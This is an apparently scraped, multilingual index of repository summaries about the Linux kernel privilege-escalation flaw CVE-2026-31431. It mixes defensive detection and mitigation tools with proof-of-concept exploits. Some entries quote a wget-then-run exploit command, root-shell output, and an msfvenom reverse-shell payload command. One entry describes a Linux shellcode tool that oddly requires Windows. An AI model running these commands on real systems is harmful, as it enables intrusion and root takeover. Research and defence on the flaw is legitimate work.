page_inject

pageinject - AFALG aead 跨容器逃逸 AFALG aead 漏洞跨容器利用——从一个被攻陷的容器横向移动到每一个共享同一libc.so.6 镜像层的兄弟容器。 这是一个逃逸原语 ：它运行在攻击者已经攻陷的未授权容器内部 ，并利用 AFALG authencesn ESN 旋转 4 字节任意写入漏洞（CVE-2026-31431）在 libc.so.6 的页缓存页中植入一个持久的 read 钩子。由于 Docker/containerd 使用共享 inode 支持 overlayfs...

copy-fail-CVE-2026-31431

复制失败 - CVE-2026-31431 技术分析报告 已测试发行版 / 版本 发行版| 版本 ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1| 6.12.0-124.45.1.el101 SUSE 16| 6.12.0-160000.9-default...

Copy-Fail-CVE-2026-31431-Kubernetes-PoC

Copy Fail（CVE-2026-31431）— Kubernetes コンテナエスケープ PoC 共有コンテナイメージレイヤーを介して CVE-2026-31431 Linux カーネルのページキャッシュ破損バグを悪用し、完全に非特権のコンテナ が Kubernetes 上でノードレベルのコード実行 を達成できることを示す概念実証です。 中核となる攻撃プリミティブは次のとおりです：攻撃者が制御するコンテナとイメージレイヤーを共有する特権 DaemonSet は、コンテナエスケープのために武器化され得る 。この PoC は具体例として kube-proxy...

copy-fail-CVE-2026-31431-detection-probe

LinuxカーネルLPEプローブスイート — Copy Fail & Dirty Frag 関連するLinuxカーネルのローカル権限昇格（LPE）脆弱性ファミリー — Copy Fail （CVE-2026-31431）と Dirty Frag （CVE-2026-43284 / CVE-2026-43500）— に対する安全な検出ツールです。いずれも2017年以降、主要なすべてのディストリビューションに影響し、権限のないローカルユーザーであれば誰でも悪用可能で、かつ個別の 緩和策が必要です。 これらのプローブはソケットを開かず、暗号化操作やネットワーク操作も行いません。...

CVE-2026-31431-Linux-Copy-Fail

🛡️ CVE-2026-31431-Linux-Copy-Fail - 轻松执行自定义Shellcode 📌 项目概述 该软件提供了一个工具，用于测试Linux CVE-2026-31431漏洞。它使用Rust编程语言与系统文件交互。该程序允许用户在目标系统上运行自定义shellcode。此工具有助于安全研究人员验证其Linux环境是否能正确处理文件复制。它专注于Linux内核复制机制中发现的权限提升缺陷。 ⚙️ 系统要求 在开始之前，请确保您的计算机满足这些基本要求。您需要稳定的互联网连接才能下载该工具。您还需要运行Windows 10或11的操作系统。此工具需要50...

copy-fail-CVE-2026-31431-cpp

此存储库没有 README。...

copyfail-deconstructed

copyfail-deconstructed CVE-2026-31431 のわかりやすいバージョンです。これは、誰でも root になれる権限昇格手法です。オリジナルの proof-of-concept は https://github.com/theori-io/copy-fail-CVE-2026-31431...

copyfail-guard

copyfail-guard 自动化检测与缓解 工具，针对 Linux 内核 algifaead 模块（AFALG 接口）中的 漏洞 CVE-2026-31431 "Copy Fail"， 该漏洞为本地权限提升（LPE）。 ⚠️ 范围： 本项目纯属防御性 。它不包含、 不生成也不引用任何利用代码。目标是让安全团队和系统管理员 1 识别暴露的主机，2 在安装修补后的内核之前 应用推荐的缓解措施（阻止 algifaead 模块）。 工具功能 1. 检测 （--check） 读取当前运行的内核版本（uname -r） 检查 algifaead 模块是否已加载或可加载...

CVE-2026-31431-Analysis

CVE-2026-31431-Analysis 技術分析レポート: Linuxカーネルのアイソレーション障害の悪用 CVE-2026-31431...

cve-2026-31431-mitigation

CVE-2026-31431 Copy Fail – 技術的緩和ツール 1. 概要 このパッケージは、影響を受けるカーネル（バージョン 4.14 から 6.12.84、6.13 から 6.18.21 など）を実行している Linux システム上で、CVE-2026-31431 脆弱性（別名 Copy Fail ）を検出し、緩和する ための自動ソリューションを提供します。 ツールは以下で構成されています： 統合 Bash スクリプト mitigatecopyfail.sh： Phalanx-CCS （アクティブな攻撃面チェック）と Silent4Labs （リスク評価）を実行します。...

copyfail-arm64

Copy Fail ARM64 研究（CVE-2026-31431） 对 Copy Fail Linux 内核权限提升漏洞（CVE-2026-31431）的分析与 ARM64 复现，该漏洞最初由 Xint 披露。 博客文章： docs/post.md 包含内容 文件| 描述 ---|--- docs/post.md| 涵盖漏洞分析与 ARM64 移植过程的博客文章 src/copyfailexp.py| 来自 Xint/Theori 的原始 x86-64 PoC src/copyfailexpreadable.py| 上述脚本的反混淆版本，包含注释和规范的变量名...

cve-2026-31431-checker

CVE-2026-31431（Copy Fail）检测工具 一个针对 Linux 内核中 CVE-2026-31431“Copy Fail”漏洞的全面检测与分析工具。 ⚠️ 重要免责声明 本工具仅用于检测。它不会利用漏洞或修改任何系统文件。 仅读取系统信息和配置文件 不会写入 /etc/passwd、/usr/bin/su 或任何系统二进制文件 不会执行实际的漏洞利用尝试 仅可在您拥有并有权测试的系统上使用 本工具可能产生误报或漏报。 请始终使用官方检测器进行最终确认。 关于 CVE-2026-31431 CVE-2026-31431“Copy Fail”是一个严重的 Linux...

copy-fail

copy-fail CVE-2026-31431 的 PoC 使用方法： wget https://raw.githubusercontent.com/pedromizz/copy-fail/main/poc.py python3 poc.py $ id uid=0root pedromizz :...

Estudo-de-Caso-CVE-2026-31431-CopyFail

🐧 CVE-2026-31431 — CopyFail: Escalada de Privilégio no Kernel Linux Estudo de Caso completo — Como foi descoberta, como funciona, como testar, como replicar em ambiente seguro e como corrigir a vulnerabilidade crítica que afeta quase todas as distribuições Linux desde 2017. 🚨 Aviso Legal /...

cfDr

cfDr - 复制故障医生 C opy F ail D etection and R emediation（复制故障检测与修复） 一套用于检测和修复 CVE-2026-31431（复制故障）的 Ansible 角色和剧本套件，该漏洞是 Linux 内核 algifaead 模块中的一个严重本地权限提升漏洞。 仓库 🔗 GitHub : https://github.com/parmstro/cfDr cfDr 这个名称是 "Copy Fail Doctor"（复制故障医生）的谐音——它是您应对 CVE-2026-31431 的可靠良方。 目录 1. 了解 CVE-2026-31431 2...

copy-fail-CVE-2026-31431

Copy Fail CVE-2026-31431 - PoC 本仓库包含 Copy Fail CVE-2026-31431 漏洞的概念验证（PoC）。 ⚠️ 免责声明： 本项目仅用于教育和研究目的 。 请勿在您不拥有或未经许可测试的系统上使用。 🧪 使用方法 按照以下步骤运行 PoC： root@kitploit: 克隆仓库 git clone https://github.com/ravindercodes/copy-fail-CVE-2026-31431 进入项目目录 cd copy-fail-CVE-2026-31431 运行漏洞利用脚本 python3 copyfailexp.py...

Mitigaciones

CVE-2026-31431（“复制失败”）缓解措施 用于检测和缓解 Linux 系统中 CVE-2026-31431 漏洞（通过 setuid 二进制文件中的 page cache 损坏实现本地权限提升）的脚本和自动化 playbook 集合。 仓库内容 cve-2026-31431-mitigator.sh ：纯 Bash 交互式脚本，用于审计并通过 modprobe 应用热缓解措施（阻止 algifaead 和 authencesn 模块）。内置针对 Red Hat、SUSE 和 Debian 系列的自动检测功能。 mitigarcve.yml ：Ansible...

CVE-2026-31431-mitigation-suite

AFALG 防御框架 一个针对 Linux AFALG（地址族算法，族 38）子系统的内核运行时防御框架。专为运行企业级 Linux 集群的安全运营中心（SOC）打造，在这些环境中，零信任必须 深入 内核，而非止步于网络边缘。 为什么 AFALG 对 SOC 至关重要 AFALG 通过套接字接口（socketAFALG, SOCKSEQPACKET, 0）将内核加密 API 暴露给用户空间。它最初是为没有 /dev/crypto 的嵌入式系统而添加的，此后却积累了不成比例的内核 CVE 份额，因为它将内核态加密代码暴露给了非特权调用者——这是一种典型的攻击面错配。 在典型的企业构建中：...

CVE-2026-31431

CVE-2026-31431（Copy Fail）— C PoC 通过 AFALG 中的逻辑漏洞（内核 4.14 → 2026 年初），向任意可读文件的页缓存写入 4 个受控字节，实现无需特权的本地权限提升（LPE）。 破坏内存中的 /usr/bin/su，然后运行它 → 获得 root 权限。 构建与运行 root@kitploit: 1. 生成 ELF payload（反向 shell 示例） msfvenom -p linux/x86/shellreversetcp LHOST= LPORT= PrependSetuid=true \ PrependSetgid=true -f e...

alg_check

⚠️ 重要免责声明：结构性加固风险 本工具通过结构性阻断 来缓解 CVE-2026-31431 ，具体方式为物理重命名内核模块并将其从内存中清除。使用前，请了解以下架构性风险： 内核更新易变性 ：加固效果是临时的 。内核更新会在新的 /lib/modules/ 目录下部署全新的、存在漏洞的模块，使之前的阻断措施失效。 功能性副作用 ：禁用 AFALG（内核加密 API）可能会破坏依赖内核级硬件加速的特定应用程序或服务（例如专用 VPN、磁盘加密工具或自定义安全工具）。cite: 3 缓解 vs. 修补 ：这是一种临时解决方案 ，而非永久补丁。其目的是在发行版提供修补后的内核之前填补这一空白...